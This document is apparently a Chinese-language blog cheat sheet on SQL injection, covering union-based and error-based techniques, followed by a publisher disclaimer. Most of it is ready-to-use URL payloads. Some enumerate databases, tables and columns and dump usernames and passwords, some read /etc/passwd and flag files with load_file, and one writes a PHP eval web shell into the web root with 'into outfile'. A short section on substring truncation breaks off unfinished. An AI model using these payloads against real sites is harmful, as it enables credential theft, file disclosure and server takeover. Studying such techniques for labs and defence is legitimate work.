sql注入
一、union联合查询注入
常用函数
information_schema.tables #information_schema下面的所有表名 information_schema.columns #information_schema下面所有的列名 table_name #表名 column_name #列名 table_schema #数据库名
information_schema进行跨库攻击
# 查看当前数据库
?id=-1 union select 1,database() --+
1、获取到所有的数据库名称
?id=-2 union select 1,group_concat(schema_name),3 from information_schema.schemata--+
2、指定获取book库中的表名信息
?id=-2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='book'--+
3、获取指定数据库security下的users表的列名信息
?id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'--+
4、查询到指定数据
?id=-2 union select book_id,book_title,book_author from book.book limit 0,1------z--+
?id=-1' union select 1,2,group_concat(username ,id , password) from users ------全部
文件读写函数注入
load_file 文件读取
into outfile 或into dumpfile 文件写入
?id=-2 union select 1,load_file('/etc/passwd'),3
?id=-2' union select 1,load_file('/var/www/html/flag.php'),3--+
?id=-2'union select 1,'<?php @eval($_POST["chuan"]);?>',3 into outfile '/var/www/html/chuan.php' --+
二、报错盲注
报错注入所利用函数
updatexml extractvalue floor
updatexml函数的基本语法:
updatexml(xml_document, XPath_string, new_value)
其中,xml_document是XML文档对象,XPath_string是Xpath路径表达式,new_value是更新后的内容。在报错注入中,我们通常将第一个和第三个参数设置为任意值,重点是通过第二个参数注入不符合Xpath语法的表达式,从而引起数据库报错,并通过错误信息获取数据。
extractvalue函数的基本语法:
extractvalue(xml_frag, xpath_expr)
其中,xml_frag是XML片段,xpath_expr是Xpath表达式。在报错注入中,通过提供一个无效的Xpath表达式,导致函数报错,从而获取数据。
floor()
用于返回小于或等于一个给定数字的最大整数。在SQL注入中,利用 floor() 函数可以构造报错注入。它通常和 group by 以及 count(*) 等函数一起使用来触发数据库报错,从而获取敏感信息。
报错语句
1' and extractvalue(1,concat(0x7e,(select group_concat(id,0x7e,username,0x3a,password) from security.users))) #
使用substring截断
?id=1
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
已在FreeBuf发表 0 篇文章
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf
客服小蜜蜂(微信:freebee1024)